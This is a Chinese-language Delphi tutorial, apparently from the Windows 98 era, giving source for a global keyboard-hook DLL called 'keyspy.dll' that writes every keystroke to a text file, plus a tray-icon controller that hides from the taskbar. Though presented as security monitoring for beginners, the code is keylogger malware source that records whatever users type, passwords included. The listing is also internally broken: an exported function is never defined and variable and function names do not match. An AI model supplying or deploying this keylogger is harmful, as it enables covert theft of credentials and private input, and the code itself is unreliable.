在許多系統(tǒng)中，出于安全或其它原因，常常要求隨時(shí)對(duì)鍵盤(pán)進(jìn)行監(jiān)控，一個(gè)專(zhuān)業(yè)的監(jiān)控程序必須具備兩點(diǎn)，一是實(shí)時(shí)；二是作為指示圖標(biāo)運(yùn)行。實(shí)際應(yīng)用中把利用Hook（即鉤子）技術(shù)編寫(xiě)的應(yīng)用程序添加到Windows的任務(wù)欄的指示區(qū)中就能夠很好的達(dá)到這個(gè)目的。我在參考了API幫助文檔基礎(chǔ)上，根據(jù)在Delphi開(kāi)發(fā)環(huán)境中的具體實(shí)現(xiàn)分別對(duì)這兩部分進(jìn)行詳細(xì)論述。
一、Hook(鉤子)的實(shí)現(xiàn)：
---- Hook是應(yīng)用程序在Microsoft Windows 消息處理過(guò)程中設(shè)置的用來(lái)監(jiān)控消息流并且處理系統(tǒng)中尚未到達(dá)目的窗口的某一類(lèi)型消息過(guò)程的機(jī)制。如果Hook過(guò)程在應(yīng)用程序中實(shí)現(xiàn)，若應(yīng)用程序不是當(dāng)前窗口時(shí)，該Hook就不起作用；如果Hook在DLL中實(shí)現(xiàn)，程序在運(yùn)行中動(dòng)態(tài)調(diào)用它，它能實(shí)時(shí)對(duì)系統(tǒng)進(jìn)行監(jiān)控。根據(jù)需要，我們采用的是在DLL中實(shí)現(xiàn)Hook的方式。
---- 1．新建一個(gè)導(dǎo)出兩個(gè)函數(shù)的DLL文件，在hookproc.pas中定義了鉤子具體實(shí)現(xiàn)過(guò)程。代碼如下：
library keyspy;
uses
windows, messages, hookproc in ’hookproc.pas’;
exports
setkeyhook,
endkeyhook;
begin
nexthookproc:=0;
procsaveexit:=exitproc;
exitproc:=@keyhookexit;
end.
2.在Hookproc.pas中實(shí)現(xiàn)了鉤子具體過(guò)程：
unit hookproc;
interface
uses
Windows, Messages, SysUtils, Controls, StdCtrls;
var
nexthookproc:hhook;
procsaveexit:pointer;
function keyboardhook(icode:integer;wparam:wparam;
lparam:lparam):lresult;stdcall;export;
function setkeyhook:bool;export;//加載鉤子
function endkeyhook:bool;export;//卸載鉤子
procedure keyhookexit;far;
const
afilename=’c:debug.txt’;//將鍵盤(pán)輸入動(dòng)作寫(xiě)入文件中
var
debugfile:textfile;
implementation
function keyboardhookhandler(icode:integer;wparam:wparam;
lparam:lparam):lresult;stdcall;export;
begin
if icode<0 then
begin
result:=callnexthookex(hnexthookproc,icode,wparam,lparam);
exit;
end;
assignfile(debugfile,afilename);
append(debugfile);
if getkeystate(vk_return)<0 then
begin
writeln(debugfile,’’);
write(debugfile,char(wparam));
end
else
write(debugfile,char(wparam));
closefile(debugfile);
result:=0;
end;
function endkeyhook:bool;export;
begin
if nexthookproc<>0 then begin
unhookwindowshookex(nexthookproc);
nexthookproc:=0;
messagebeep(0); end;
result:=hnexthookproc=0;
end;
procedure keyhookexit;far;
begin
if nexthookproc<>0 then endkeyhook;
exitproc:=procsaveexit; end;
end.
---- 二、Win95/98使用任務(wù)欄右方指示區(qū)來(lái)顯示應(yīng)用程序或工具圖標(biāo)對(duì)指示區(qū)圖標(biāo)的操作涉及了一個(gè)API函數(shù)Shell_NotifyIcon，它有兩個(gè)參數(shù)，一個(gè)是指向TnotifyIconData結(jié)構(gòu)的指針，另一個(gè)是要添加、刪除、改動(dòng)圖標(biāo)的標(biāo)志。通過(guò)該函函數(shù)將應(yīng)用程序的圖標(biāo)添加到指示區(qū)中，使其作為圖標(biāo)運(yùn)行,增加專(zhuān)業(yè)特色。當(dāng)程序起動(dòng)后，用鼠標(biāo)右鍵點(diǎn)擊圖標(biāo)，則彈出一個(gè)菜單，可選擇sethook或endhook。
unit kb;
interface
uses
Windows, Messages, SysUtils, Classes,
Graphics, Controls, Forms,
Dialogs,
StdCtrls, Menus,shellapi;
const
icon_id=1;
MI_iconevent=wm_user+1;//定義一個(gè)用戶(hù)消息
type
TForm1 = class(TForm)
PopupMenu1: TPopupMenu;
sethook1: TMenuItem;
endhook1: TMenuItem;
N1: TMenuItem;
About1: TMenuItem;
Close1: TMenuItem;
Gettext1: TMenuItem;
procedure FormCreate(Sender: TObject);
procedure sethook1Click(Sender: TObject);
procedure endhook1Click(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Close1Click(Sender: TObject);
private
{ Private declarations }
nid:tnotifyicondata;
normalicon:ticon;
public
{ Public declarations }
procedure icontray(var msg:tmessage);
message mi_iconevent;
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
function setkeyhook:bool;external ’keyspy.dll’;
function endkeyhook:bool;external ’keyspy.dll’;
procedure tform1.icontray(var msg:tmessage);
var
pt:tpoint;
begin
if msg.lparam=wm_lbuttondown then
sethook1click(self);
if msg.LParam=wm_rbuttondown then
begin
getcursorpos(pt);
setforegroundwindow(handle);
popupmenu1.popup(pt.x,pt.y);
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
normalicon:=ticon.create;
application.title:=caption;
nid.cbsize:=sizeof(nid);
nid.wnd:=handle;
nid.uid:=icon_id;
nid.uflags:=nif_icon or nif_message or nif_tip;
nid.ucallbackmessage:=mi_iconevent;
nid.hIcon :=normalicon.handle;
strcopy(nid.sztip,pchar(caption));
nid.uFlags:=nif_message or nif_icon or nif_tip;
shell_notifyicon(nim_add,@nid);
SetWindowLong(Application.Handle,
GWL_EXSTYLE,WS_EX_TOOLWINDOW);
end;
procedure TForm1.sethook1Click(Sender: TObject);
begin
setkeyhook;
end;
procedure TForm1.endhook1Click(Sender: TObject);
begin
endkeyhook;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
nid.uFlags :=0;
shell_notifyicon(nim_delete,@nid);
end;
procedure TForm1.Close1Click(Sender: TObject);
begin
application.terminate;
end;
---- 該程序雖然只用了幾個(gè)shellai函數(shù)，但是它涉及到了在Delphi中對(duì)DLL的引用、鉤子實(shí)現(xiàn)、對(duì)指示區(qū)的操作、用戶(hù)定義消息的處理、文件的讀寫(xiě)等比較重要的內(nèi)容，我相信這篇文章能對(duì)許多Delphi的初學(xué)者有所幫助。
---- 該程序在Win98、Delphi4.0中正常運(yùn)行。
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